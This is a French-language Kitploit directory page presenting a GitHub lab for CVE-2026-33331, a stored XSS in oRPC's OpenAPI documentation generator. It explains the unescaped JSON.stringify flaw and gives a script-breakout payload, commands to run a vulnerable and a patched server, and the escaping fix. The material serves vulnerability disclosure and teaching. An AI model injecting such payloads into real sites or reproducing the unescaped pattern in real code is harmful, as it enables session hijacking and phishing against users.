Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-33331 — Laboratoire local reproduisant une XSS stockée dans la génération de documentation OpenAPI d'oRPC (CVE-2026-33331), avec les versions vulnérable et corrigée à des fins de comparaison ainsi qu'un PoC autonome. | Kitploit
Outils/GitHubGitHub/abhayclasher/cve-2026-33331
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebApprentissage et ÉducationLabs et Pratique
GitHubabhayclasher/cve-2026-33331

CVE-2026-33331

Laboratoire local reproduisant une XSS stockée dans la génération de documentation OpenAPI d'oRPC (CVE-2026-33331), avec les versions vulnérable et corrigée à des fins de comparaison ainsi qu'un PoC autonome.

Voir le dépôt
il y a 4 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-33331 — XSS stocké dans le plugin OpenAPI Reference d'oRPC

CVE GHSA CWE-79 Patched

Laboratoire de preuve de concept pour le XSS stocké dans la génération de documentation OpenAPI d'orpc


Objectif

oRPC construit les pages de documentation API à partir d'une spécification OpenAPI. Avant la v1.13.9, il injectait directement la spécification dans une balise <script> en utilisant JSON.stringify() sans encodage HTML. Tout champ contrôlé par un attaquant, comme , pouvait fermer cette balise prématurément et exécuter du script.

info.description

Ce dépôt vous fournit un laboratoire local pour reproduire le bug, ainsi qu'une version corrigée pour comparer.

Informations rapides

ChampValeur
ID CVECVE-2026-33331
GHSAGHSA-7f6v-3gx7-27q8
CWECWE-79 (Neutralisation incorrecte de l'entrée lors de la génération de pages Web)
Produitmiddleapi/orpc
Versions concernéesToutes les versions antérieures à la v1.13.9
Version corrigéev1.13.9
DécouverteAbhay Kumar (@abhayclasher)

Détails de la vulnérabilité

Le code vulnérable dans packages/openapi/src/plugins/openapi-reference.ts rend la spécification comme ceci :

root@kitploit:~
<script id="spec" type="application/json">${JSON.stringify(spec)}</script>

JSON.stringify() produit du JSON valide, mais il n'échappe pas les caractères < ou >. Le navigateur traite toujours </script> comme une balise de fermeture HTML, même à l'intérieur d'un <script type="application/json">.

Une charge utile dans info.description qui déclenche l'exécution :

root@kitploit:~
"</script><script>alert('XSS')</script>"

Le navigateur voit :

root@kitploit:~
<script id="spec" type="application/json">{"info":{"description":"
</script><script>alert('XSS')</script>"}}
</script>

Le premier </script> ferme le bloc. Tout ce qui suit s'exécute comme JavaScript en ligne.

Impact

  • Détournement de session via le vol de cookies ou de jetons
  • Appels API arbitraires effectués au nom de la victime consultant la documentation
  • Superpositions de phishing rendues dans le domaine de confiance de la documentation

Cela s'applique lorsqu'une application construit des spécifications OpenAPI à partir d'entrées contrôlées par l'utilisateur, ce qui est exactement le cas que oRPC permet via ses définitions de routeurs.

Configuration système requise

  • Node.js 18 ou ultérieur
  • Docker (optionnel, pour le laboratoire conteneurisé)
  • 500 Mo d'espace disque libre

Installation

Option 1 : Exécution directe

root@kitploit:~
git clone https://github.com/abhayclasher/CVE-2026-33331.git
cd CVE-2026-33331/app
npm install
node server.js

Option 2 : Exécution avec Docker

root@kitploit:~
git clone https://github.com/abhayclasher/CVE-2026-33331.git
cd CVE-2026-33331
docker compose up -d

Utilisation

Une fois le serveur démarré, visitez ces URL :

URLDescription
http://localhost:3000/docsPage de documentation vulnérable — la charge utile XSS s'exécute au chargement
http://localhost:3000/docs/safeMême page avec le correctif v1.13.9 appliqué
http://localhost:3000/spec.jsonSpécification OpenAPI brute en JSON

La version vulnérable déclenchera un alert() au chargement de la page, confirmant l'exécution de script. La version corrigée rend la même spécification malveillante en toute sécurité — la charge utile s'affiche comme texte brut.

Vous pouvez également exécuter la preuve de concept autonome :

root@kitploit:~
cd poc
node exploit.js

Cela démarre un serveur minimal sur le port 3000 qui démontre le même bug sans le contexte complet de l'application.

Comment cela fonctionne

Flux de détection

root@kitploit:~
1. L'attaquant contrôle un champ dans la spécification OpenAPI (ex. description)
2. oRPC génère le HTML de la documentation avec JSON.stringify(spec)
3. Le </script> dans la charge utile ferme la balise <script> prématurément
4. Le navigateur exécute ce qui suit comme JavaScript en ligne

La chaîne d'attaque

root@kitploit:~
┌─────────────────────────────────────────────────────┐
│  1. Spécification malveillante créée :               │
│                                                       │
│     info.description =                                │
│       "</script><script>alert('XSS')</script>"        │
│                                                       │
│  2. orpc intègre la spécification dans le HTML :      │
│                                                       │
│     <script id="spec" type="application/json">        │
│     {"info":{"description":"</script>    <-- balise   │
│       <script>alert('XSS')</script>      <-- charge   │
│       "}}                                             │
│     </script>                                         │
│                                                       │
│  3. Le navigateur exécute alert('XSS')                │
└─────────────────────────────────────────────────────┘

Le correctif

La version 1.13.9 introduit escapeJsonForHtml(), qui remplace les caractères sensibles au HTML par des échappements Unicode avant d'intégrer le JSON dans la balise script :

root@kitploit:~
const escapeJsonForHtml = (obj) => JSON.stringify(obj)
  .replace(/&/g, '\\u0026')
  .replace(/'/g, '\\u0027')
  .replace(/</g, '\\u003C')
  .replace(/>/g, '\\u003E')
  .replace(/\//g, '\\u002F');

Les échappements Unicode fonctionnent car ils restent du JSON valide — JSON.parse() reconstruit la chaîne d'origine — mais ils ne ressemblent jamais à du HTML pour l'analyseur du navigateur.

Le correctif a également déplacé la lecture du JSON d'un attribut dataset.config du DOM (qui échouait lorsque les valeurs contenaient des parenthèses) vers l'assignation directe du JSON échappé à une variable en ligne.

Consultez le commit complet : 4f0efa8

Structure du projet

root@kitploit:~
CVE-2026-33331/
├── README.md               # Ce fichier
├── docker-compose.yml      # Configuration du laboratoire Docker
├── app/
│   ├── Dockerfile          # Configuration de construction du conteneur
│   ├── package.json        # Dépendances Node.js
│   └── server.js           # Rendu de documentation vulnérable + corrigé
└── poc/
    └── exploit.js          # Preuve de concept minimale autonome

Références

  • NVD — CVE-2026-33331
  • Avis de sécurité GitHub
  • Commit du correctif
  • Version v1.13.9
  • CWE-79

Signalé par Abhay Kumar. Ce dépôt est destiné à un usage éducatif local uniquement. Ne déployez pas le serveur vulnérable sur un réseau public.

À des fins éducatives uniquement — à utiliser dans des environnements isolés

Télécharger l’outil